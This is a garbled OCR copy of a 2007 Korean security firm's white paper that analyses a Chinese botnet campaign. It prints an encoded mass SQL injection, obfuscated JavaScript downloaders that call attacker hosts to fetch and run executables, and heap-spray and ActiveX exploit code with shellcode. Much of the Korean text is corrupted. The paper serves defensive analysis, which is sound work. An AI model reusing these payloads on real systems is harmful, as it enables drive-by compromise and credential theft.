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2008 Yahoo! JukeBox MediaGrid ActiveX mediagrid.dil AddBitmap() BOF Exploit 301
2008 Yahoo! Music Jukebox 2.2 AddButton() ActveX Remote BOF Exploit (3] z09
2008 3 FaceBook PhotoUploader (ImageUploaderd.ocx 4.5.57.0) BOF Exploit

2008 Yahoo! Music Jukebox 2.2 AddImage() ActiveX Remote BOF Exploit (2)

2008- 3 Yahoo! Music Jukebox 2.2 AddImage() ActiveX Remote BOF Exploit

2008 Sejoong Namo ActiveSquare & NamoInstaller.dll ActiveX BoF Exploit

Joomla Component Marketplace 1.1.1 SQL Injection Yulnerability
? Wordpress Plugin st_newsletter Remote SQL Injection Yulnerability
t A-Blog ¥.Z (id) X55 / Remote SOL Injecton Exploit
Joomla Component mosDirectory 2.3.2 (catid) SQL Injection Yulnerability

SHMPd snmp-set Denial of Service Exploit
th S5H 6.1.0.0 Remote Buffer Overflowr PoC

[Z8 2. www.milwOrm.com]
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rr

POST /crapxxxtxxx .asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

(0X4400450043004C004100520045002000400054002000760061007200630068006100720028003
2003500350C004000430020007600610072006300680061007200280032003500350029002000440
0450043004C0041005200450020004E004500580054002000460052004F004D00200020005400610
062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C00400
04300200045004E004400200043004C004F005300450020005400610062006C0065005F004300750
0720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0
065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);~
|178]80040e14|

Unclosed_quotation_mark S_NVARCHAR(4000);SET_@S=CAST(0X44004500430 xxx 3002000

ClZY 2 5tH SQL injection #2|E Ss5t0f 40| &L UZTS & F= JUCL

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor

o
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update ['+@T+"] set

['+@C+"]=rtrim(convert(varchar, ['+@C+"]))+"'<script rc=http://*.uc8010.com ></script>"")
2k

=
S =

FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor DECLARE @T varchar(255),@C

”G" 6 Copyright©2007
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ATTACK
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|
vicTMs | @2 1""0 17l &gt
o http://www.+3pace.cn
ttp //* uc8010 COM Malware
(hebehehe exe)
(& hehehehe exe A =2 2 (122 W MY 512! =2 02)
[28 3. Malware Zt¥ FLOW]
Copyright©2007

Shﬁfmec

Infosec Co.,

Inc. All Rights Reserved




e A Document No.

China Bot(7+3) M8 IE &4

White paper SKInfosec-Tech-005
3.1.0,s
function setCookie(name,value)
{
==
document.cookie = name + "="+ escape(value) +";expires="+ exp.toGMTString();
}
function getCookie(name)
{
var arr = document.cookie.match(new RegExp("(*] )"+name+"=([;1)GI9)");
if(arr '= null)
{
return unescape(arr[2]);
}
else
{
document.writeln("<script src=hxxp://www.xxx.com/w.js><\/script>");
// document.writeln("<iframe src=\" hxxp://www.xxx.com/xxx.aspx\."

width=\"20\." height=\."O\" scrolling=\."no\" frameborder=\"0\"><\/iframe>");
setCookie("Lin","ok");

return null;

}
getCookie("Lin")

772 2HS0] BUD 2SS U 4 U wis 2He TUS MM AlF|E HE Y+ Uck

”G" 8 Copyright©2007
SK infosec Infosec Co., Inc. All Rights Reserved


http://www.xxx.com/w.js
http://www.xxx.com/xxx.aspx

e A Document No.

China Bot(7+3) M8 IE &4

SKInfosec-Tech-005

White paper

3.2.0.js ->w.,js

document.writeln("<iframe src=http://www.xxx.com/1.html width=1

eight=0><\/iframe>");
document.writeln("<script src=\ http://www.xxx.com/.php?id=742266&web_id=742266\"

language=\"JavaScript\' charset=\"gb2312\"><\/script>");

document.writeln("<script src= http://www.xxx.com /007.s'

language=\"JavaScript\.'><\/script>");

eval("™\146\ 165\ 156\ 143\ 164\ 151\ 157\ 156\ 40\ 147\ 156\ 50\ 162\ 122\ 141\
107N\105N\17INI53NI25N6IN5INI5NI2N 173N\ 15N\ 12N\ 166\ 141\ 162\40\ 117\
==

N156N\105\50N\42\ 150\ 164\ 164\ 160\ 72\57\57\143\56\ 165\ 143\ 70\ 60\ 61
N60N56 N\ 143\ 157\ 155\ 57\60N\57\61\56\ 145\ 170\ 145\ 42\ 54\ 42\ 61\ 71\5
6\145\170\145\42\51\73")

w.js IS EH £ CE FAHE 0[E5H| flet REE = F U2M eval FES A

o si=E™ ofefet Zct

ro

var chenzi=window["document"]["createElement"]("object");

==

love["SaveToFile"](china,2);

love["Close"]();

var SmAcqlwGV8=chenzi["CreateObject"]("Shell.Application",");
expl=hHf$R6["BuildPath"](VgDnZXHt7+"\\.system32',’cmd.exe");
SmAcqlwGV8["ShellExecute"](expl," /c "+china,™,"open”,0)}catch(i){i=1}
}

DownE("http://www.xxx.com/1.exe","19.exe");

l.exe IS A& Al7|= A2 & F= AUCH
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1) 1.exe
l.exe mfalo| Male0d ZX|AEE|M InProcME|AZ S50 ShellExecuteHookszl| X[ A E
2l 582 FIIstct &, rundli32.exeE S5l InProc ME|AZ SEE0{ AAE RAIRf
Al MSE 27| fl8ll BXIAER|E FH™sICh |E2= MY 2ZAS Sl AIAE HAIXIE

L5t =25tE Aoz ErehElch,

X

& Process Explorer Search

Handle or DLL substring: |S_l,l$tem32kb‘|‘l‘|‘|p | [ Search ] [ LCancel ]
Frocess FID  » Twpe Handle or DLL
wzcntfy . exe 21z DLL oW IND W S syw=tem32kb1111 p.dll
sniff_hit,exe 392 DL SO INDOW S ystem32kb1111 p,dll
[Sy=tem Process] 550 DLL SO INDOW S s ystem32kb1111 p.dll
procexp,exe 550 oLl SO INDOW S s v stem3Z2kb1111 p.dll
sysinalyzer.exe 1120 DLL CORHWIND W S system32kb1111 p.dll
conime,exe 1254 DL SO INDOW S ystem32kb1111 p,dll
explarer,exe 1285 CLL SO INDOW S s wstem3Z2kb11 11 p.dil
WIMUEMY G e xe 1592 DLL oW IND W SR system32kb1111 p.dll
ctfmon,exe 1916 DLL SO INDOW S s ystem32kb1111 p,dll
| B8

[T 4. HAX] 8 =2 =HH]

U BH S@LH)

| 1%_E‘3‘I-413E TR - e WS-\_\_‘S\EFE?I -~
__J 198359 7S 1 1od-a P -D00DG-I2 Td 4
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{50 1 TOFD ] =50 =0 G =0 8 E =34, | [HTE TEALF )
{5ASARS | -HEAG- 3P -BE0C - 80 3EE DEC F536)
90l A0 B4 - 0231 -1 10181 - D0FE =S TIE)
195 Ad AL I -FE 18 -4F 80 -OBS - A00 1PANE THS

15 A 150101 1] =heB23-00: H194E 75
{25E5TEE-1HF-11 -8 EF3-00] METIIEFD
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3.3. w.js->007.js

document.writeln("<iframe

src=http://xxx.xxx.com/ real007.html width=1 height=0><\/iframe>");

document.writeln("<script language=\"javascript\."
src=\"http:// xxx.xxx.com//click.aspx?id=83013911&logo=1\"><\/script>");

2 & st ok

3.4. 007.js ->real007.html

Real007.html 2 ofeliel Tl E2 282

rr
N
o
n2
+
30
[xl

<script src=06014.js></script>
<script src=real.js></script>

<script src=07055.js></script>
<script src=yahoo.js></script>

<script language="javascript" src="http://xxx.xxx.com/83013911&logo=1"></script>

f"f"w 11 Copyright©2007
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3.5. real007.html

1) 06014.js
MS06-014 F&dH S 2l= HOo|X|YS & = AUCH

http://www.microsoft.com/korea/technet/security/bulletin/MS06-014.mspx

<script>
document.writeln("<script>");
==
document.writeln("Cuteqg="http://xxx.xxx.com/hehehehe.exe";");

document.writeln("Qq784378237=\"C:\\\\\MicroSoft.pif\.";");
document.writeln("Cuteqq784378237=\"C:\\\\\MicroSoft.vbs\";");

document.writeln("Cuteqqzf=\"Set Cuteqqcn =

SEf

document.writeln("SmAcqlwGV8[\"SHeLIEXECuTe\"](expl,\' \/c echo cmd.exe \/c
C\\\\MicroSoft.pif >C:\\\\MicroSoft.bat\",\"\",\"open\",0);");

SEf

document.writeln("<script type=\"text\/jscript\.">function init()

{ document.write(\"\."); }Jwindow.onload = init;<\./script>");

document.writeln("<body = oncontextmenu=\'"return  false\" onselectstart=\"return
false\" ondragstart=\"return false\">");

document.writeln("<\/PRE><\/BODY>");

</script>

”G" 12 Copyright©2007
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2) real.js

2l Ze0|HE 2|l exploit &2 & = AUCH
<sCrlpT IANGUAQE="jAVASCrIpT">

function RealExploit()

{

RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";

JmpOver = unescape("%75%06%74%04");
for(i=0;i<32*148;i++)

Padding += "S";

==

AdJESP = "LLLLN\\XXXXXLD";

Shell

="TYHHINNIINTZ QZJAXPOAOAKAAQ2AB2BBOBBABXP8ABUJIXKROQJPIP3YYOfNYWLEQkOp47z
pfKRKJJKVe9xJKYoloYolOoCQv3VsVwLURKwWRvavbFQvIMWYVsZzMFv0z8K8mwVPnxmmn8
mMDUBzJMEBsSHUN3ULUhmfHxW6peMMZM7XPrfSNkDpP107zMpYE5MMzMj44LgxGONuKpTRr
u33UTnSSPnVOQxqulxperHPeES8QUTN55D83UMPGp";

Real.Import("c:\\Program Files\\\NetMeeting\ \TestSnd.wav", PayLoad,", 0, 0);

}
RealExploit();

</script>

gl
“.-’i
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3) 07055.js
MS07-055 X %ES Lal= HOIXYS & & QUL

http://www.microsoft.com/technet/security/bulletin/MS07-055.mspx

<html|>

<head>

<title>Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title>
<script language="JavaScript">

var memory = new Array();

function getSpraySlide(spraySlide, spraySlideSize)

{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
==
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++) {
memory[i] = spraySlide + payLoadCode;
}
return O;
}
makeSlide();
</script>
</head>
<body>
<img src="ms07-055.tif">
</body>
</htm|>
'ﬂgy,... 14 Copyright©2007
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4) yahoo.js

0/Zd-2 Yahoo Oday Ywcupl.dll ActiveX Exploit Download And ExecE 0| &350 M IS
CI2E2= Al7|= dejolct

<html>

<object classid="clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277"
id="viewme'></object>

<body>

<SCRIPT language="javascript">

var shellcode = unescape("%u9090%u9090%u9090%u9090" +
"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" +

==

bigblock = unescape("%u9090%u9090");

headersize = 20;

slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();

for (x=0; x<500; x++) memory[x] = block + shellcode;

var buffer = "\x0a’;

while (buffer.length < 5000) buffer+="\x0a\x0a\x0a\x0a’;
viewme.server = buffer;

viewme.initialize();

viewme.send();

</script>

</body>

</html>

’f"‘ 15 Copyright©2007
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3.6. hehehehe.exe

FQ BHAIE K| 25 EX TOASZFE hehehehe.exe2 CIRZE FHZE AA
=of ot siE oiUe MY 3 I 2 SN e SASHE AN Zadels ¥ £
Act
483fab CreateMutex {(DARKLITGHT )
fFcB859cha GlobalAlloc()
FCcBS59cCF9 CreateMutex{DBWinHutex)
7c859e2F WaitForSingleObject(79c,FFfFFFff)
FiF65f5e WaitForSingleDbject{784,2bf20)
F7d9fLuBG RegDpenKeyExA (HKLM#SoftwareMicrosoftiRpc)
F7F65F5e i i j ) systen.di 2 WHEL}
4O406Y CreateFileA(C:WWINDOWSHsystemd2Wsysten.dll) cmd.exe= EM a2 =2 M Mgl
404982 WriteFile(h=770) | A E=
L4753 CreateFileA{C:WUTNDOWSHsystem3dZiicmd .exe)
Lay7b2 CreateFileA{C:WUWINDOWSHsystem3d2systen.dll)
[Z23 6. system.dll]
4845bd RegCreateKeyn (HKCUWSoftwareWfengzi)
FIFTdSFY RegCreateKeyExn (HKCUWSoftwareWfengzi,{null))
Lahlhec ReqOpenKeyn (HECU4SoftwareWfengzi)
FIF7CULe ReqgOpenKeyExa (HECUWSoftwarekfengzi) Cni=o
nBu353 RegCreateKeyA (HKCU¥Softuaretfengzi) fen ﬂ,jd%}r'—,,mﬁﬂ}_ f,"HIIII_,,iEEI
LB437h RegSetUalueExA (ServiceDll) S T e o R
LYSHERR:] RegOpenKeyn (HEKCU4SoftwareWfengzi)
L a45 a5 RegOpenKeyA (HELM4SYSTEM#CurrentControlSetWServicesWTrkUksWParameters)
LBuGhb RegDeleteKeyn (HECUWSoftwareWfengzi)
[28 7. IXIAER] AN, HH]
a19132 RegOpenKkeyExA (HKLIMSOFTUAREWWizetHY le)
ald839 CreateFileA{C:4¥Progran FilesWWizetWl “etnpkcrypt.dll)
' O o
ald7ch  ReadFile() 2 7S AL A YR AED
y Hek - e
al9ed RegOpenKeyExA (HKCUYSoftwarelhr it == ~ the ' 15)
a1dd39 CreateFileA{npkcrypt.dll)
[18 8. Algzd 34]
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